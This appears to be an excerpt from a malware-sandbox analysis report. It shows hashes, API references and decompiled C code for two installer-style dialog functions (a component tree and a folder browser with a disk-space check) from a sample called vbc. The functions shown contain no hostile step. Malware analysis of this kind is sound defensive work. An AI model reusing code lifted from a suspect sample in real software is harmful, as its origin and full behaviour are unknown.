Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: b76f0574efc38b34ce8dbf5e96f3f583adbecdbce84d3d3c4a555a9ceab87f0c
Instruction ID: fc5da488f7bc2ad647f0a41a3fd7729356532ad04293fc61f6ec29e3deb516b2
Opcode Fuzzy Hash: b76f0574efc38b34ce8dbf5e96f3f583adbecdbce84d3d3c4a555a9ceab87f0c
Instruction Fuzzy Hash: 94A14B70900208BFDB219F60DD89AAE7F79FB08355F10417AFA04BA2A0C7795E41DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00404772 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00404772(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				intOrPtr _t183;
				int _t189;
				int _t196;
				intOrPtr _t198;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				intOrPtr _t231;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				signed int _t242;
				signed int _t245;
				signed int _t247;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				signed int* _t284;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				int _t294;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				intOrPtr _t309;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;
				void* _t328;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423ec8; // 0x8c114c
				_t320 = SendMessageA;
				_v8 = _t182;
				_t183 =  *0x423eb0; // 0x8c0fa0
				_t315 = 0;
				_v32 = _t280;
				_v20 = _t183 + 0x94;
				if(_a8 != 0x110) {
					L23:
					__eflags = _a8 - 0x405;
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					__eflags = _a8 - 0x4e;
					if(_a8 == 0x4e) {
						L28:
						__eflags = _a8 - 0x413;
						_v16 = _t289;
						if(_a8 == 0x413) {
							L30:
							__eflags =  *0x423eb9 & 0x00000002;
							if(( *0x423eb9 & 0x00000002) != 0) {
								L41:
								__eflags = _v16 - _t315;
								if(_v16 != _t315) {
									_t232 = _v16;
									__eflags =  *((intOrPtr*)(_t232 + 8)) - 0xfffffe6e;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									__eflags =  *((intOrPtr*)(_t233 + 8)) - 0xfffffe6a;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										__eflags =  *((intOrPtr*)(_t233 + 0xc)) - 2;
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											_t284 =  *(_t233 + 0x5c) * 0x418 + _t280 + 8;
											 *_t284 =  *_t284 & 0xffffffdf;
											__eflags =  *_t284;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							__eflags = _a8 - 0x413;
							if(_a8 == 0x413) {
								L33:
								__eflags = _a8 - 0x413;
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E004046F2(_v8, _a8 != 0x413);
								__eflags = _t240 - _t315;
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									__eflags = _t289 & 0x00000010;
									if((_t289 & 0x00000010) == 0) {
										__eflags = _t289 & 0x00000040;
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
											__eflags = _t298;
										} else {
											_t300 = _t289 ^ 0x00000080;
											__eflags = _t300;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t242 =  *0x423eb8; // 0x80
										_t289 = 1;
										_a8 = 0x40f;
										_t245 =  !_t242 >> 0x00000008 & 1;
										__eflags = _t245;
										_a12 = 1;
										_a16 = _t245;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							__eflags =  *((intOrPtr*)(_t289 + 8)) - 0xfffffffe;
							if( *((intOrPtr*)(_t289 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						}
						__eflags =  *((intOrPtr*)(_t289 + 4)) - 0x408;
						if( *((intOrPtr*)(_t289 + 4)) != 0x408) {
							goto L48;
						}
						goto L30;
					} else {
						__eflags = _a8 - 0x413;
						if(_a8 != 0x413) {
							L48:
							__eflags = _a8 - 0x111;
							if(_a8 != 0x111) {
								L56:
								__eflags = _a8 - 0x200;
								if(_a8 == 0x200) {
									SendMessageA(_v8, 0x200, _t315, _t315);
								}
								__eflags = _a8 - 0x40b;
								if(_a8 == 0x40b) {
									_t220 =  *0x420474;
									__eflags = _t220 - _t315;
									if(_t220 != _t315) {
										ImageList_Destroy(_t220);
									}
									_t221 =  *0x42048c;
									__eflags = _t221 - _t315;
									if(_t221 != _t315) {
										GlobalFree(_t221);
									}
									 *0x420474 = _t315;
									 *0x42048c = _t315;
									 *0x423f00 = _t315;
								}
								__eflags = _a8 - 0x40f;
								if(_a8 != 0x40f) {
									L86:
									__eflags = _a8 - 0x420;
									if(_a8 == 0x420) {
										__eflags =  *0x423eb9 & 0x00000001;
										if(( *0x423eb9 & 0x00000001) != 0) {
											__eflags = _a16 - 0x20;
											_t189 = (0 | _a16 == 0x00000020) << 3;
											__eflags = _t189;
											_t316 = _t189;
											ShowWindow(_v8, _t316);
											ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
										}
									}
									goto L89;
								} else {
									E004011EF(_t289, _t315, _t315);
									__eflags = _a12 - _t315;
									if(_a12 != _t315) {
										E0040140B(8);
									}
									__eflags = _a16 - _t315;
									if(_a16 == _t315) {
										L73:
										E004011EF(_t289, _t315, _t315);
										__eflags =  *0x423ecc - _t315; // 0x1
										_v32 =  *0x42048c;
										_t196 =  *0x423ec8; // 0x8c114c
										_v60 = 0xf030;
										_v16 = _t315;
										if(__eflags <= 0) {
											L84:
											InvalidateRect(_v8, _t315, 1);
											_t198 =  *0x42367c; // 0x8c223a
											__eflags =  *((intOrPtr*)(_t198 + 0x10)) - _t315;
											if( *((intOrPtr*)(_t198 + 0x10)) != _t315) {
												E00404610(0x3ff, 0xfffffffb, E004046C5(5));
											}
											goto L86;
										} else {
											_t142 = _t196 + 8; // 0x8c1154
											_t281 = _t142;
											do {
												_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
												__eflags = _t202 - _t315;
												if(_t202 != _t315) {
													_t291 =  *_t281;
													_v68 = _t202;
													__eflags = _t291 & 0x00000001;
													_v72 = 8;
													if((_t291 & 0x00000001) != 0) {
														_t151 =  &(_t281[4]); // 0x8c1164
														_v72 = 9;
														_v56 = _t151;
														_t154 =  &(_t281[0]);
														 *_t154 = _t281[0] & 0x000000fe;
														__eflags =  *_t154;
													}
													__eflags = _t291 & 0x00000040;
													if((_t291 & 0x00000040) == 0) {
														_t206 = (_t291 & 0x00000001) + 1;
														__eflags = _t291 & 0x00000010;
														if((_t291 & 0x00000010) != 0) {
															_t206 = _t206 + 3;
															__eflags = _t206;
														}
													} else {
														_t206 = 3;
													}
													_t294 = (_t291 >> 0x00000005 & 0x00000001) + 1;
													__eflags = _t294;
													_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
													SendMessageA(_v8, 0x1102, _t294, _v68);
													SendMessageA(_v8, 0x110d, _t315,  &_v72);
												}
												_v16 = _v16 + 1;
												_t281 =  &(_t281[0x106]);
												__eflags = _v16 -  *0x423ecc; // 0x1
											} while (__eflags < 0);
											goto L84;
										}
									} else {
										_t282 = E004012E2( *0x42048c);
										E00401299(_t282);
										_t217 = 0;
										_t289 = 0;
										__eflags = _t282 - _t315;
										if(_t282 <= _t315) {
											L72:
											SendMessageA(_v12, 0x14e, _t289, _t315);
											_a16 = _t282;
											_a8 = 0x420;
											goto L73;
										} else {
											goto L69;
										}
										do {
											L69:
											_t309 = _v20;
											__eflags =  *((intOrPtr*)(_t309 + _t217 * 4)) - _t315;
											if( *((intOrPtr*)(_t309 + _t217 * 4)) != _t315) {
												_t289 = _t289 + 1;
												__eflags = _t289;
											}
											_t217 = _t217 + 1;
											__eflags = _t217 - _t282;
										} while (_t217 < _t282);
										goto L72;
									}
								}
							}
							__eflags = _a12 - 0x3f9;
							if(_a12 != 0x3f9) {
								goto L89;
							}
							__eflags = _a12 >> 0x10 - 1;
							if(_a12 >> 0x10 != 1) {
								goto L89;
							}
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							__eflags = _t227 - 0xffffffff;
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							__eflags = _t283 - 0xffffffff;
							if(_t283 == 0xffffffff) {
								L54:
								_t283 = 0x20;
								L55:
								E00401299(_t283);
								SendMessageA(_a4, 0x420, _t315, _t283);
								_a12 = 1;
								_a16 = _t315;
								_a8 = 0x40f;
								goto L56;
							}
							_t231 = _v20;
							__eflags =  *((intOrPtr*)(_t231 + _t283 * 4)) - _t315;
							if( *((intOrPtr*)(_t231 + _t283 * 4)) != _t315) {
								goto L55;
							}
							goto L54;
						}
						goto L28;
					}
				} else {
					 *0x423f00 = _a4;
					_t247 =  *0x423ecc; // 0x1
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42048c = GlobalAlloc(0x40, _t247 << 2);
					_t250 = LoadBitmapA( *0x423ea0, 0x6e);
					 *0x420480 =  *0x420480 | 0xffffffff;
					_v24 = _t250;
					 *0x420488 = SetWindowLongA(_v8, 0xfffffffc, E00404D73);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420474 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420474);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E00405AA7(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403E37(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403E37(_a4);
					_t318 = 0;
					_t288 = 0;
					_t328 =  *0x423ecc - _t318; // 0x1
					if(_t328 <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									__eflags = _t269 & 0x00000004;
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42048c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42048c + _t318 * 4) = _t274;
									_t288 =  *( *0x42048c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_t331 = _t318 -  *0x423ecc; // 0x1
							_v24 = _t311;
						} while (_t331 < 0);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403E6C(_v8);
								_t280 = _v32;
								_t315 = 0;
								__eflags = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403E6C(_v12);
								L89:
								return E00403E9E(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404790
0x00404796
0x00404798
0x0040479e
0x004047a4
0x004047a7
0x004047b1
0x004047ba
0x004047bd
0x004047c0
0x004049e8
0x004049e8
0x004049ef
0x00404a03
0x004049f1
0x004049f3
0x004049f6
0x004049f7
0x004049fe
0x004049fe
0x00404a06
0x00404a0f
0x00404a1a
0x00404a1a
0x00404a1d
0x00404a20
0x00404a2f
0x00404a2f
0x00404a36
0x00404aae
0x00404aae
0x00404ab1
0x00404ab3
0x00404ab6
0x00404abd
0x00404acb
0x00404acb
0x00404acd
0x00404ad0
0x00404ad7
0x00404ad9
0x00404add
0x00404afa
0x00404afe
0x00404afe
0x00404adf
0x00404aec
0x00404aec
0x00404add
0x00404ad7
0x00000000
0x00404ab1
0x00404a38
0x00404a3b
0x00404a46
0x00404a48
0x00404a4b
0x00404a52
0x00404a57
0x00404a59
0x00404a63
0x00404a63
0x00404a67
0x00404a69
0x00404a6c
0x00404a6e
0x00404a71
0x00404a87
0x00404a87
0x00404a73
0x00404a73
0x00404a79
0x00404a7b
0x00404a82
0x00404a7d
0x00404a7d
0x00404a7d
0x00404a7b
0x00404a8b
0x00404a8d
0x00404a92
0x00404a9b
0x00404a9c
0x00404aa6
0x00404aa6
0x00404aa8
0x00404aab
0x00404aab
0x00404a6c
0x00000000
0x00404a59
0x00404a3d
0x00404a40
0x00404a44
0x00000000
0x00000000
0x00000000
0x00404a44
0x00404a22
0x00404a29
0x00000000
0x00000000
0x00000000
0x00404a11
0x00404a11
0x00404a14
0x00404b01
0x00404b01
0x00404b08
0x00404b7c
0x00404b7c
0x00404b83
0x00404b8f
0x00404b8f
0x00404b91
0x00404b98
0x00404b9a
0x00404b9f
0x00404ba1
0x00404ba4
0x00404ba4
0x00404baa
0x00404baf
0x00404bb1
0x00404bb4
0x00404bb4
0x00404bba
0x00404bc0
0x00404bc6
0x00404bc6
0x00404bcc
0x00404bd3
0x00404d20
0x00404d20
0x00404d27
0x00404d29
0x00404d30
0x00404d34
0x00404d41
0x00404d41
0x00404d44
0x00404d4a
0x00404d5c
0x00404d5c
0x00404d30
0x00000000
0x00404bd9
0x00404bdb
0x00404be0
0x00404be3
0x00404be7
0x00404be7
0x00404bec
0x00404bef
0x00404c30
0x00404c32
0x00404c3c
0x00404c42
0x00404c45
0x00404c4a
0x00404c51
0x00404c54
0x00404cf6
0x00404cfc
0x00404d02
0x00404d07
0x00404d0a
0x00404d1b
0x00404d1b
0x00000000
0x00404c5a
0x00404c5a
0x00404c5a
0x00404c5d
0x00404c63
0x00404c66
0x00404c68
0x00404c6a
0x00404c6c
0x00404c6f
0x00404c72
0x00404c79
0x00404c7b
0x00404c7e
0x00404c85
0x00404c88
0x00404c88
0x00404c88
0x00404c88
0x00404c8c
0x00404c8f
0x00404c9b
0x00404c9c
0x00404c9f
0x00404ca1
0x00404ca1
0x00404ca1
0x00404c91
0x00404c93
0x00404c93
0x00404cc0
0x00404cc0
0x00404cc1
0x00404ccd
0x00404cdc
0x00404cdc
0x00404cde
0x00404ce1
0x00404cea
0x00404cea
0x00000000
0x00404c5d
0x00404bf1
0x00404bfc
0x00404bff
0x00404c04
0x00404c06
0x00404c08
0x00404c0a
0x00404c1a
0x00404c24
0x00404c26
0x00404c29
0x00000000
0x00000000
0x00000000
0x00000000
0x00404c0c
0x00404c0c
0x00404c0c
0x00404c0f
0x00404c12
0x00404c14
0x00404c14
0x00404c14
0x00404c15
0x00404c16
0x00404c16
0x00000000
0x00404c0c
0x00404bef
0x00404bd3
0x00404b0a
0x00404b10
0x00000000
0x00000000
0x00404b1c
0x00404b20
0x00000000
0x00000000
0x00404b30
0x00404b32
0x00404b35
0x00000000
0x00000000
0x00404b47
0x00404b49
0x00404b4c
0x00404b56
0x00404b58
0x00404b59
0x00404b5a
0x00404b69
0x00404b6b
0x00404b72
0x00404b75
0x00000000
0x00404b75
0x00404b4e
0x00404b51
0x00404b54
0x00000000
0x00000000
0x00000000
0x00404b54
0x00000000
0x00404a14
0x004047c6
0x004047cb
0x004047d0
0x004047d5
0x004047d6
0x004047df
0x004047ea
0x004047f5
0x004047fb
0x00404809
0x0040481e
0x00404823
0x0040482e
0x00404837
0x0040484c
0x0040485d
0x0040486a
0x0040486a
0x0040486f
0x00404875
0x00404877
0x0040487a
0x0040487f
0x00404884
0x00404886
0x00404886
0x004048a6
0x004048a6
0x004048a8
0x004048a9
0x004048ae
0x004048b1
0x004048b4
0x004048b8
0x004048bd
0x004048c2
0x004048c6
0x004048cb
0x004048d0
0x004048d2
0x004048d4
0x004048da
0x004049a4
0x004049b7
0x00000000
0x004048e0
0x004048e3
0x004048e6
0x004048e9
0x004048e9
0x004048ef
0x004048f5
0x004048f8
0x004048fe
0x004048ff
0x00404904
0x0040490d
0x00404914
0x00404917
0x0040491a
0x0040491d
0x00404957
0x00404959
0x00404982
0x0040495b
0x00404968
0x00404968
0x0040491f
0x00404922
0x00404931
0x0040493b
0x00404943
0x0040494a
0x00404952
0x00404952
0x0040491d
0x00404988
0x00404989
0x0040498f
0x00404995
0x00404995
0x004049a2
0x004049bd
0x004049c1
0x004049de
0x004049e3
0x004049e6
0x004049e6
0x00000000
0x004049c3
0x004049c8
0x004049d1
0x00404d5e
0x00404d70
0x00404d70
0x004049c1
0x00000000
0x004049a2
0x004048da

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404789
GetDlgItem.USER32(?,00000408), ref: 00404796
GlobalAlloc.KERNEL32(00000040,00000001), ref: 004047E2
LoadBitmapA.USER32 ref: 004047F5
SetWindowLongA.USER32 ref: 0040480F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404823
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404837
SendMessageA.USER32 ref: 0040484C
SendMessageA.USER32 ref: 00404858
SendMessageA.USER32 ref: 0040486A
DeleteObject.GDI32(?), ref: 0040486F
SendMessageA.USER32 ref: 0040489A
SendMessageA.USER32 ref: 004048A6
SendMessageA.USER32 ref: 0040493B
SendMessageA.USER32 ref: 00404966
SendMessageA.USER32 ref: 0040497A
GetWindowLongA.USER32(?,000000F0), ref: 004049A9
SetWindowLongA.USER32 ref: 004049B7
ShowWindow.USER32(?,00000005), ref: 004049C8
SendMessageA.USER32 ref: 00404ACB
SendMessageA.USER32 ref: 00404B30
SendMessageA.USER32 ref: 00404B45
SendMessageA.USER32 ref: 00404B69
SendMessageA.USER32 ref: 00404B8F
ImageList_Destroy.COMCTL32(?), ref: 00404BA4
GlobalFree.KERNEL32(?), ref: 00404BB4
SendMessageA.USER32 ref: 00404C24
SendMessageA.USER32 ref: 00404CCD
SendMessageA.USER32 ref: 00404CDC
InvalidateRect.USER32(?,00000000,00000001), ref: 00404CFC
ShowWindow.USER32(?,00000000), ref: 00404D4A
GetDlgItem.USER32(?,000003FE), ref: 00404D55
ShowWindow.USER32(00000000), ref: 00404D5C

Strings

N, xrefs: 00404A06
, xrefs: 00404D34
M, xrefs: 00404922

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 32139a76c024986513f02143e9fc3436abe218e466eac6ee11a08412876e8968
Instruction ID: 2baebcd050ce5e3cc44cfd390f58c160629cefacb8a2130a1722bfbf049ea566
Opcode Fuzzy Hash: 32139a76c024986513f02143e9fc3436abe218e466eac6ee11a08412876e8968
Instruction Fuzzy Hash: 5A02B0B0A00208AFDB24DF55DC45BAE7BB5FB84315F10817AF610BA2E1C7799A42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404275 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 266
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404275(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				struct HWND__* _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				char _v32;
				intOrPtr _v36;
				long _v40;
				signed int _v44;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				CHAR* _v68;
				void _v72;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t81;
				long _t86;
				signed char* _t88;
				void* _t94;
				signed int _t95;
				signed short _t113;
				signed int _t117;
				char* _t122;
				intOrPtr _t124;
				intOrPtr* _t138;
				signed int* _t145;
				intOrPtr _t147;
				signed int _t148;
				signed int _t153;
				struct HWND__* _t159;
				CHAR* _t162;
				int _t163;

				_t81 =  *0x41fc68; // 0x0
				_v36 = _t81;
				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x424000;
				_v8 =  *((intOrPtr*)(_t81 + 0x38));
				if(_a8 == 0x40b) {
					E0040532A(0x3fb, _t162);
					E00405CE3(_t162);
				}
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E0040532A(0x3fb, _t162);
							if(E00405659(_t180, _t162) == 0) {
								_v8 = 1;
							}
							E00405A85(0x41f460, _t162);
							_t145 = 0;
							_t86 = E00405DA3(0);
							_v16 = _t86;
							if(_t86 == 0) {
								L31:
								E00405A85(0x41f460, _t162);
								_t88 = E0040560C(0x41f460);
								if(_t88 != _t145) {
									 *_t88 =  *_t88 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f460,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
									_t153 = _a8;
									goto L37;
								} else {
									_t163 = 0x400;
									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
									_v12 = 1;
									goto L38;
								}
							} else {
								if(0 == 0x41f460) {
									L30:
									_t145 = 0;
									goto L31;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t113 = _v16(0x41f460,  &_v44,  &_v24,  &_v32);
									if(_t113 != 0) {
										break;
									}
									if(_t145 != 0) {
										 *_t145 =  *_t145 & _t113;
									}
									_t145 = E004055BF(0x41f460) - 1;
									 *_t145 = 0x5c;
									if(_t145 != 0x41f460) {
										continue;
									} else {
										goto L30;
									}
								}
								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
								_v12 = 1;
								_t145 = 0;
								L37:
								_t163 = 0x400;
								L38:
								_t94 = E004046C5(5);
								if(_v12 != _t145 && _t153 < _t94) {
									_v8 = 2;
								}
								_t147 =  *0x42367c; // 0x8c223a
								if( *((intOrPtr*)(_t147 + 0x10)) != _t145) {
									E00404610(0x3ff, 0xfffffffb, _t94);
									if(_v12 == _t145) {
										SetDlgItemTextA(_a4, _t163, 0x41f450);
									} else {
										E00404610(_t163, 0xfffffffc, _t153);
									}
								}
								_t95 = _v8;
								 *0x423f44 = _t95;
								if(_t95 == _t145) {
									_v8 = E0040140B(7);
								}
								if(( *(_v36 + 0x14) & _t163) != 0) {
									_v8 = _t145;
								}
								E00403E59(0 | _v8 == _t145);
								if(_v8 == _t145 &&  *0x420484 == _t145) {
									E0040420A();
								}
								 *0x420484 = _t145;
								goto L53;
							}
						}
						_t180 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t117 = _a12 & 0x0000ffff;
					if(_t117 != 0x3fb) {
						L12:
						if(_t117 == 0x3e9) {
							_t148 = 7;
							memset( &_v72, 0, _t148 << 2);
							_v76 = _a4;
							_v68 = 0x420498;
							_v56 = E004045AA;
							_v52 = _t162;
							_v64 = E00405AA7(0x3fb, 0x420498, _t162, 0x41f868, _v8);
							_t122 =  &_v76;
							_v60 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405578(_t162);
								_t124 =  *0x423eb0; // 0x8c0fa0
								_t125 =  *((intOrPtr*)(_t124 + 0x11c));
								if( *((intOrPtr*)(_t124 + 0x11c)) != 0 && _t162 == "C:\\Users\\Albus\\AppData\\Local\\Temp") {
									E00405AA7(0x3fb, 0x420498, _t162, 0, _t125);
									if(lstrcmpiA(0x422e40, 0x420498) != 0) {
										lstrcatA(_t162, 0x422e40);
									}
								}
								 *0x420484 =  &(( *0x420484)[0]);
								SetDlgItemTextA(_a4, 0x3fb, _t162);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t159 = _a4;
					_v12 = GetDlgItem(_t159, 0x3fb);
					if(E004055E5(_t162) != 0 && E0040560C(_t162) == 0) {
						E00405578(_t162);
					}
					 *0x423678 = _t159;
					SetWindowTextA(_v12, _t162);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403E37(_t159);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403E37(_t159);
					E00403E6C(_v12);
					_t138 = E00405DA3(7);
					if(_t138 == 0) {
						L53:
						return E00403E9E(_a8, _a12, _a16);
					}
					 *_t138(_v12, 1);
					goto L8;
				}
			}

0x0040427b
0x00404282
0x0040428e
0x0040429c
0x004042a4
0x004042a8
0x004042ae
0x004042ae
0x004042ba
0x0040432e
0x00404335
0x0040440a
0x00404411
0x00404420
0x00404420
0x00404424
0x0040442a
0x00404437
0x00404439
0x00404439
0x00404447
0x0040444c
0x0040444f
0x00404456
0x00404459
0x00404490
0x00404492
0x00404498
0x0040449f
0x004044a1
0x004044a1
0x004044bd
0x004044f9
0x00000000
0x004044bf
0x004044c2
0x004044d6
0x004044d8
0x00000000
0x004044d8
0x0040445b
0x0040445f
0x0040448e
0x0040448e
0x00000000
0x00000000
0x00000000
0x00000000
0x00404461
0x00404461
0x0040446e
0x00404473
0x00000000
0x00000000
0x00404477
0x00404479
0x00404479
0x00404484
0x00404487
0x0040448c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040448c
0x004044e7
0x004044ee
0x004044f5
0x004044fc
0x004044fc
0x00404501
0x00404503
0x0040450b
0x00404511
0x00404511
0x00404518
0x00404521
0x0040452b
0x00404533
0x00404549
0x00404535
0x00404539
0x00404539
0x00404533
0x0040454e
0x00404553
0x00404558
0x00404561
0x00404561
0x0040456a
0x0040456c
0x0040456c
0x00404578
0x00404580
0x0040458a
0x0040458a
0x0040458f
0x00000000
0x0040458f
0x00404459
0x00404413
0x0040441a
0x00000000
0x00000000
0x00000000
0x0040441a
0x0040433b
0x00404341
0x0040435b
0x00404360
0x0040436a
0x00404371
0x00404380
0x00404383
0x00404386
0x0040438d
0x00404395
0x00404398
0x0040439c
0x004043a3
0x004043ab
0x00404403
0x004043ad
0x004043ae
0x004043b5
